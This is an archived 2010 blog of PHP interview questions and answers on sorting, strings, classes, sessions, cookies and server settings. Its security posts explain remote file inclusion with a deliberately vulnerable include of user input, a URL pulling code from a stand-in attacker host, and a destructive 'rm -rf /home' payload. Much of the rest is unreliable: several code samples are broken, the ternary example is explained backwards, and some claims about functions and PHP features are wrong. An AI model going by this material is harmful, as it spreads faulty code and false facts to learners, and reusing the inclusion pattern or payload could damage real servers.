Friday, April 9, 2010

difference between ksort and asort in php

Interview Question:

What is the difference between ksort and asort in php?

Answer:

ksort - sorts an array by its key
asort - sorts an array by its value

Example.

<?php
$resource = array("d" => "answers", "a" => "php", "b" => "interview", "c" => "questions");
ksort($resource);
foreach ($resource as $key => $val) {
echo "$key = $val\n";
}
?>

The sample output is

a = php b = interview c = questions d = answers

asort arsort diffrerences

Question: what is the difference between asort and arsort?

Answer:

asort - sorts an array. It maintains index values.

arsort- It sorts an array in reverse manner.

Example for asort:


<?php
$fruits = array("d" => "php", "a" => "interview", "b" => "questions", "c" => "answers");
asort($fruits);
foreach ($fruits as $key => $val) {
echo "$key = $val\n";
}
?>

The output is c = answers a = interview d = php b = questions

Example for arsort:

<?php
$fruits = array("d" => "php", "a" => "interview", "b" => "questions", "c" => "answers");
arsort($fruits);
foreach ($fruits as $key => $val) {
echo "$key = $val\n";
}
?>

The output is

b = questions d = php a = interview c = answers

question about array sorts in php

Question: What are all the array sorts in php?

Answer: The following are the array sort functions

sort()
asort()
arsort()
krsort()
usort()
ksort()
natcasesort()
rsort()
shuffle()
array_multisort()
uasort()
uksort()
natsort()

Thursday, April 8, 2010

extract domain name from the url using regular expression

Question: How to extract domain name from a url using regular expressions

Answer:

preg_match('@^(?:http://)?([^/]+)@i',"http://blogger.com", $matches);
$host = $matches[1];

// get last two segments of host name
preg_match('/[^.]+\.[^.]+$/', $host, $matches);
echo "domain name is: {$matches[0]}\n";

The output is

domain name is: blogger.com

stristr trick questions

What is output of the following

echo stristr('user@EXAMPLE.com', 'R'); //
echo stristr('user@EXAMPLE.com', 'r'); //

Output

r@EXAMPLE.com
r@EXAMPLE.com

The stristr is case insensitive.

strstr trick questions

What is output of the following

strstr("php@interview",'@');
strstr("php@interview",'@',true);

Answer

@interview
php

This is the mostly asked interview question

substr - related questions

What is substr in php?

substr is used to return a part of a string

Two arguments can be passed to the substr

1. start value
2. length value

Examples
1. start value

substr('interview',1); // returns "nterview"
substr('interview',-2); //returns "ew"

2. Length value

substr('interview',-2,1); //the output is "e"
substr('interview',-3,-2); //the output is "i"
substr('interview',1,2); //the out put is "nt"

Your comment always welcome

Wednesday, April 7, 2010

captcha in php

Question: What is captcha in php

Answer

Captcha is nothing but an image which contains numbers,characters with an distorted background

Acronym for captcha is

Completely Automated Public Turing test to tell Computers and Human Apart

Simply saying : It is a mechanism for protecting spams in an application.






Tuesday, April 6, 2010

Explain Static keyword in php

Answer

Declaring class members or methods as static makes them accessible without needing an instantiation of the class. A member declared as static can not be accessed with an instantiated class object (though a static method can).

what is abstract class in php

Interview question:

what is abstract class in php

Answer

Abstract classes are not allowed to create instance . We can only inherit the class using some other class.

what is inheritance in php?

Question:

what is inheritance in php give me an example?

Answer:

Inheritance permits the implementation of additional functionality in similar objects without the need to reimplement all of the shared functionality.

To inherit an another class we have to use extends Keyword

Example:

class phpInterview{
public fuction result(){
echo 'got selected';
}
}

//extending the above class

class questions extends phpInterview{
public function askedQuestions{
echo 'questions mostly from allphpinterviewquestions.blogspot.com ';
}
}

$obj=new questions();
echo $obj-> askedQuestions();
echo $obj->result();

The output is
questions mostly from allphpinterviewquestions.blogspot.com got selected

What is array in php

Question: What is array in php and how to create an array in php?

Answer: In php array is an ordered map. It contains values and keys.

To create an array we need to use array keyword

Example:

$a= array('php','interview','questions','answers');

This creates simple array.

How will you check whether a class already defined or not?

Answer

Php has built-in function to check whether a class exists or not

The function is

class_exists()

what are the frameworks available in PHP

Answer

Zend framework
cake php
prado
symfony
codeigniter
akelos
Yii

etc..,

Disadvantages of PHP?

Answer

1. It is a loosely typed language.
2. Multi threading is possible
3. PHP lacks in performance while comparing with java.(thats why very big applications are desinged using java)
4. It lacks in security.

Advantages of PHP

Answer

1. Good performance.
2. High scalability , reliability.(Ex. facebook uses php)
3. Easy to learn
4. High speed development
5. Availability of frameworks
6.Lot of Content management systems
7. It is a open source
8. It supports most of the operating systems(windows,linux,solaris etc)
9. PHP supports most of the databases(mysql,oracle,postgresql etc..)
10. Even support java classes.

Monday, April 5, 2010

what are the magic methods in php

Answer
__construct
__destruct
__call
__callStatic
__get
__set
__isset
__unset
__sleep
__wakeup
__toString
__invoke
__set_state
__clone

These are all the magic methods in php

How to create objects for a class

Answer

To create an object for a class we need to use the keyword "new"

Example

$phpqna = new Phpinterview();

Now the instance is created and assigned to the variable $phpqna

Also we can create any number of instances to a single class

Example

$phpqna1 = new Phpinterview();
$phpqna2 = new Phpinterview();

what is an object in php

Answer

Objects are instances of a class.

That contain internal data and all other informations.

How to create a class in php

Answer

To create a class we need to use a class keyword.

Example

class Phpinterview{

}

?>

The above created a class named Phpinterview.

To add a method to a class follow this

class Phpinterview{

function questions{

echo 'php questions';
}
function answers{
echo 'Answers for the questions';
}

}

?>

Here you have created two methods questions and answers for the class Phpinterview

what is class in php

Answer

Classes are the blue prints for an object.

Classes are the actual code that defined the properties and method

Sunday, April 4, 2010

what is magic constants in php

Answer
======

Magic constants change their value depending on where they used

Example:
=========

__line__

this will show the current line number.

There are seven magic constants in php

__LINE__
__FILE__
__DIR__
__FUNCTION__
__CLASS__
__METHOD__
__NAMESPACE__

How to escape from the remote file inclusion attack

Answer

1. All user inputs must be strictly validated

2. Use mod_secrity module

3. register globals must be turned off

4. open_basedir must be set to the document root . it should not be no value.

How remote file inclusion works

Answer

Consider you have the following code

$file=$_REQUEST['q'];

include($file. ".php";)

Your url may be like this http://example.com/?q=login

so the login.php file will be included as per your code

Now the attacker plans pass a url through the query string

See the below

http://example.com/?q=http://www.attackerswebsite.com/hackingcode.php

If the url is passed in the query string

Now your code is

include('http://www.attackerswebsite.com/hackingcode.php.php')

If the attacker has the file hackingcode.php.php means the remote file will be included.

If the attacker included his code in your server means he can do any thing.

What will happen if a attacker includes his file in your server

Answer

Anything can happen - even attacker can delete all your files and database.

It is very critical security issue.

For example consider an attacker includes the following line in your php file

exec("rm -rf /home ")

If the line executed in the server all the files inside the home directory may be deleted.


what is remote file inclusion in php

Answer:

It is basically used by the attackers.

Remote File Inclusion allows an attacker to include a remote file on a webserver.

The vulnerability occurs due to the use of user supplied input without proper validation.

what is php?

This question is most common for freshers and below 6 month experienced candidates only

Answer

PHP - acronym - hypertext preprocessor

Php is a opensource scripting language generally used for rapid web application development

Saturday, April 3, 2010

what is Variable variables

Answer:

A variable variable takes the value of a variable and treats that as the name of a variable

The above may be little bit confusing

See the example
//declare a variable

variable of variable means

$$a = 'test';

now $allphpinterviewquestions value is test


How to unset a reference

Answer

Use unset

$a = 1;
$b =& $a;
unset($a);

This will not unset $b;

Question:what is References in php

Question: what is References in php

Answer

Access the same variable content by different names

Example
---------
$x =& $y;
?>
Here the $x,$y point the same content


List of Predefined Variables in php

Answer
======

$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_REQUEST
$_SESSION
$_ENV
$_COOKIE
$php_errormsg
$HTTP_RAW_POST_DATA
$http_response_header
$argc
$argv

difference between Reply-to and Return-path in mail header

Answer

Reply-to: Reply-to is where to delivery the reply of the mail.


Return-path: Return path is when there is a mail delivery failure occurs then where to delivery the failure notification.

Disadvantage of drupal

Answer

No oops concept

Most of the things stored in database. so it uses high mysql server usage


Advantages of Drupal

The Advantages of Drupal

It is easy to use & update

Reliable & Secure

Search-Engine Friendly

Modular and Extendible

Big user contibution

If you know anything means make a comment ....:)

what is drupal?

Answer

Drupal is a free software package that allows an individual or a community of users to easily publish, manage and organize a wide variety of content on a website. Tens of thousands of people and organizations areusing Drupal to power scores of different web sites


Father of PHP

Answer

Rasmus Lerdorf


Friday, April 2, 2010

differences between GET and POST methods

When we submit a form, which has the GET method it displays pair of name/value used in the form at the address bar of the browser preceded by url. Post method doesn't display these values.

differentiate __sleep and __wakeup?

Answer


__sleep returns the array of all the variables than need to be saved, while __wakeup retrieves them.

WHAT ARE THE DIFFERENT TYPES OF ERRORS IN PHP?

WHAT ARE THE DIFFERENT TYPES OF ERRORS IN PHP?

Answer
======
three 3 types of errors

1. notices
2. warnings
3. fatal errors


What Is a Persistent Cookie?


A persistent cookie is a cookie which is stored in a cookie file permanently on the browser's computer. By default, cookies are created as temporary cookies which stored only in the browser's memory. When the browser is closed, temporary cookies will be erased. You should decide when to use temporary cookies and when to use persistent cookies based on their differences:
*Temporary cookies can not be used for tracking long-term information.
*Persistent cookies can be used for tracking long-term information.
*Temporary cookies are safer because no programs other than the browser can access them.
*Persistent cookies are less secure because users can open cookie files see the cookie values.

Any idea about php6

Answer

Php6 is currently in the development stage

we can download it from php.net

magic quotes , register globals , safe mode functions are removed

check the link for details



number of days between two given dates using PHP?

Answer

$date1 = date('Y-m-d');
$date2 = '2006-07-01';
$days = (strtotime() - strtotime()) / (60 * 60 * 24);
echo "Number of days since '2006-07-01': $days";

What are the necessary security settings can be done to protect our application from hackers

It is not a simple question.

Need to consider more factors

Answer

The basic securtiy settings can be as follows

register_globals off in php.ini

disable the exec,passthrough,shell_exec like function

Install mod_security apache module

=======================

Friends if you know anything meeans please make a comment

This will be helpful for php interview questions blog visitors

what is cookies in php

Answer

Say simply - - Cookies are mechanism of storing temporary datas in browser memory

How to disable a function in php

Answer

We need add the functions in the disable_functions list in the php.in file



How to change php configuration using htaccess

Answer

To change the php configuration values like max_execution_time, upload_max_filesize

use the following line

php_value max_execution_time 90
php_value upload_max_filesize 50M

mod_php module needed to use this ...

what is session

Answer
======

In short - Session is mechanism of storing temporary values in the server

Php.net explanation

Session support in PHP consists of a way to preserve certain data across subsequent accesses. This enables you to build more customized applications and increase the appeal of your web site.

A visitor accessing your web site is assigned a unique id, the so-called session id. This is either stored in a cookie on the user side or is propagated in the URL.

Thursday, April 1, 2010

what is maximum execution time php?

This sets the maximum time in seconds a script is allowed to run before it is terminated by the parser. This helps prevent poorly written scripts from tying up the server.

htmlentities and htmlspecialchars diff

what is the difference between htmlentities and htmlspecialchars?

htmlentities — Convert all applicable characters to HTML entities

htmlspecialchars — Convert special characters to HTML entities

$str = "PHP interview questions and answers collection is good";

echo htmlentities($str);

// Outputs: PHP interview questions and answers collection is <b>bold</b>

$new = htmlspecialchars("Test", ENT_QUOTES);
echo
$new; // <a href='test'>Test</a>

initialize a variable in single quote and double quote

If the variable is declared in the double quote the variable will be parsed by php

if it is declared in single quote means it will not be parsed by php

so initializing a variable a single quote is always better.

Also we can add variable inside the double quote

example

$a ="this is $var allphpinterviewquestions";

what is the output $$b

if $a=5 and $b='a'

what is the value of $$b

value of $$b is 5

Difference between include_once and require_once in php

Include_once will include a file only one time. If we call it again it will not include.

The difference is reqire_once will through a fatal error if you include a same file again

Difference between include and require in php

In php require statement through fatal error if the file is not in the given path. So the script execution will stop.

The include will show just warnings. So the next line will be executed .


what is ternary conditional operator?

example:

$result= (empty($_REQUEST['id'])) ? 'default' : 'exp3';

in this example $result is default if the $_REQUEST['id'] is true otherwise $result is exp3

If we saying simply means

The expression (expr1) ? (expr2) : (expr3) evaluates to expr2 if expr1 evaluates to TRUE, and expr3 if expr1 evaluates to FALSE.

Identifying the number of parameters passed to a function?

Answer:

We can use - func_num_args()

This function can return the number of argument passed to the function

small example

function test()
{
$numargs = func_num_args();
echo
"Number of passed arguments: $numargs\n";
}

test(1, 2, 3);

Output
======
Number of passed arguments: 3

How to define a constant in php

To define a constant we need to usedefine

Example

define("CONSTANT", "PHP interview questions and answers collection");
echo
CONSTANT; // outputs "PHP interview questions and answers collection"


what is the difference between echo-print functions

Simple!!

echoOutput one or more strings

print Output a string

echo and print -- print() is not actually a real function (it is a language construct)

echo statement will not return anyrhing

print will return false if it fails

most of the peoples say echo is more efficient that print

There are so many php interview questions and answers will keep coming in this wesite